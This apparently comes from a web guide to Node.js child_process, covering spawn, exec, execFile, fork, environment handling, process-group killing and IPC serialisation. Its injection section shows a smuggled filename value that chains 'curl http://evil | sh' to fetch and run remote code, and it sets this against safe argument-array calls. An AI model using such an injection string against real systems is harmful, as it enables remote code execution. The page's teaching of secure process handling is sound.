Pages

Topics

Tools

↑↓navigate↵openescclose
All guides

Node.js child_process: spawn, exec, fork, and IPC Channels

spawn streams and never uses a shell; exec buffers through /bin/sh and is the injection surface. fork adds an IPC channel, and killing a tree needs a process group.

~4 min readNode.js
#Node.js#Child Process#Process#IPC
3D illustration of a parent process cube spawning child cubes with message envelopes on a channel

Quick Summary

node:child_process starts other programs. spawn runs a command with an argument array and no shell; exec runs a shell and buffers its output; execFile runs a binary directly with arguments; fork starts another Node process with an IPC channel attached.

The choice follows from two questions. Does the command need shell features (pipes, globs, &&)? And does the output fit in memory? spawn answers "no" and "streaming", which makes it the safe default. exec answers "yes" and "buffered up to maxBuffer", which makes it convenient and, with untrusted input, an injection risk.

All four are asynchronous except their *Sync twins, which block the event loop for the whole lifetime of the child. A CLI can afford that; a request handler cannot.

Basic Syntax and Core Signatures

js
import { spawn, exec, execFile, fork } from 'node:child_process'; import { promisify } from 'node:util'; const execP = promisify(exec); const execFileP = promisify(execFile); // spawn: streaming, no shell const child = spawn('git', ['log', '--oneline', '-5'], { cwd: '/repo', env: { ...process.env, GIT_PAGER: 'cat' }, stdio: ['ignore', 'pipe', 'pipe'], shell: false, windowsHide: true, timeout: 30_000, killSignal: 'SIGTERM', signal: abortController.signal, }); child.stdout.on('data', (d) => process.stdout.write(d)); child.stderr.on('data', (d) => process.stderr.write(d)); child.on('error', (err) => console.error('failed to start', err.code)); child.on('close', (code, signal) => console.log({ code, signal })); // exec: shell, buffered const { stdout, stderr } = await execP('ls -la | wc -l', { maxBuffer: 4 * 1024 * 1024 }); // execFile: no shell, buffered const { stdout: out } = await execFileP('node', ['--version']); // fork: Node child with IPC const worker = fork('./job.js', ['--id', '42'], { stdio: ['ignore', 'inherit', 'inherit', 'ipc'] }); worker.send({ task: 'resize', size: 128 }); worker.on('message', (msg) => console.log('from child', msg)); worker.on('exit', (code) => console.log('exited', code));
js
// In the forked child (job.js) process.on('message', async (msg) => { process.send({ ok: true, echo: msg.task }); }); process.on('disconnect', () => process.exit(0));

Key Comparison Table

APIShellOutput handlingArgs escapingUse for
spawnNo (unless shell: true)StreamsNone neededLong output, servers, piping
execYes (/bin/sh -c)Buffered string, maxBufferYou must quoteShort shell pipelines
execFileNoBuffered stringNone neededA known binary with args
forkNo, Node binaryStreams + IPCN/AParallel Node work with messaging
spawnSyncNoBufferedNoneCLI startup, tests
OptionEffectDefault
cwdWorking directory of the childParent's cwd
envReplaces the environmentprocess.env
stdio'pipe', 'ignore', 'inherit', or an array'pipe'
shellRun through a shellfalse
detachedNew process group, survives the parentfalse
timeoutKill after N ms with killSignalnone
maxBufferOutput cap for exec/execFile1 MiB
signalAbortSignal to kill the childnone

Practical Edge Cases and Deep Dives

1. The shell is the injection surface

js
// Vulnerable: filename comes from a request exec(`convert ${filename} out.png`); // filename = "a.png; curl http://evil | sh" -> arbitrary code // Safe: no shell, arguments passed as an array execFile('convert', [filename, 'out.png']); spawn('convert', [filename, 'out.png']);

Every character in a shell string is syntax to something; exec with interpolated input is the equivalent of string-concatenated SQL. execFile and spawn pass argv directly to execve, so ;, $(), backticks, and spaces in a filename are just data. When shell features are genuinely required, quote with a dedicated function (shell-quote) rather than hand-rolled escaping, and prefer a fixed command with variable arguments over a variable command string.

2. env replaces, it does not merge

js
spawn('node', ['build.js'], { env: { NODE_ENV: 'production' } }); // child has no PATH, no HOME, no custom variables: often fails with ENOENT spawn('node', ['build.js'], { env: { ...process.env, NODE_ENV: 'production' } });

env is the child's complete environment, not a patch. With only NODE_ENV set, spawn cannot even find the executable on some systems, and npm scripts fail looking for sh. The merge form is the correct default, with the explicit caveat that copying process.env passes secrets along — a child that runs untrusted tooling should get a deliberately reduced environment.

3. exec and maxBuffer

js
await execP('find / -type f'); // Error: stdout maxBuffer length exceeded

exec accumulates stdout and stderr in memory and kills the child once either exceeds maxBuffer (1 MiB by default since Node 12), failing with ERR_CHILD_PROCESS_STDIO_MAXBUFFER. Raising the limit moves the problem rather than solving it; spawn with a stream, or execFile piped into a parser, keeps memory flat. A find over a large tree is the canonical case: the count is unbounded and the failure appears only on the machine with the most files.

4. Windows, .cmd, and the shell requirement

js
spawn('npm', ['test']); // Windows: ENOENT after the 2024 fix spawn('npm.cmd', ['test'], { shell: true }); // works, and needs quoting care

Since the CVE-2024-27980 fix, Node refuses to spawn .bat and .cmd files without a shell, so spawn('npm') breaks on Windows where it used to work. The portable pattern is spawn(process.platform === 'win32' ? 'npm.cmd' : 'npm', args, { shell: process.platform === 'win32' }) — and once shell: true is on, argument quoting matters again. Recent Node releases print a deprecation warning (DEP0190) when shell: true is combined with an argument array precisely because that combination is unescaped.

5. Killing a tree, not a process

js
const child = spawn('sh', ['-c', 'watch -n1 date'], { detached: true, stdio: 'ignore' }); process.kill(-child.pid, 'SIGTERM'); // signal the whole process group

child.kill() signals one process. A shell script that starts its own children leaves them running as orphans when only the shell receives the signal — the classic "the build finished but the dev server still holds port 3000". On POSIX, detached: true puts the child in its own process group, so process.kill(-pid) reaches every descendant. On Windows the equivalent needs taskkill /T /F via execFile. Containers hit the same issue at the top: the container's PID 1 must reap children, which is what tini or --init provides.

6. IPC serialisation between forked processes

js
const child = fork('./job.js', [], { serialization: 'advanced' }); child.send({ when: new Date(), buf: Buffer.from('x'), map: new Map([['a', 1]]) });

The default json serialisation supports only JSON-safe values — Date becomes a string, Buffer becomes { type: 'Buffer', data: [...] }, a Map becomes {}, and circular structures throw. serialization: 'advanced' uses the structured clone algorithm, which preserves those types and handles cycles, at the cost of requiring it on both sides of the channel. Messages are copied, never shared: for large payloads the IPC channel is the bottleneck, and a SharedArrayBuffer or a worker thread is the right answer instead.

Common Node.js Runtime Mistakes

SymptomCauseFix
ENOENT on a command that works in a terminalenv replaced, or executable not on the child's PATHMerge process.env, use an absolute path
stdout maxBuffer length exceededexec on unbounded outputspawn and stream
ERR_CHILD_PROCESS_STDIO_MAXBUFFER in CI onlyBigger outputs thereSame fix, do not raise blindly
Child keeps running after the parent exitsGrandchildren orphaneddetached + kill the group, or a supervisor
spawn npm ENOENT on Windows.cmd requires a shellshell: true with quoting, or npm.cmd
code is null in closeProcess was killed by a signalRead signal
Output lost from a short-lived childexit used instead of closeWait for close, which follows stdio end
Error: write EPIPEChild exited before the writeHandle 'error' on stdin
IPC message arrives as { type: 'Buffer' }Default json serialisationserialization: 'advanced'
Event loop stalls for seconds*Sync variant used in a request pathAsync API, or a worker

Try matching browser tools

All tools

Small utilities that fit Node.js work — they run entirely in this browser tab, so nothing you paste leaves your device.

All Node.js guides

More in Node.js

All Node.js guides

The guides filed next to this one in Node.js, in library order.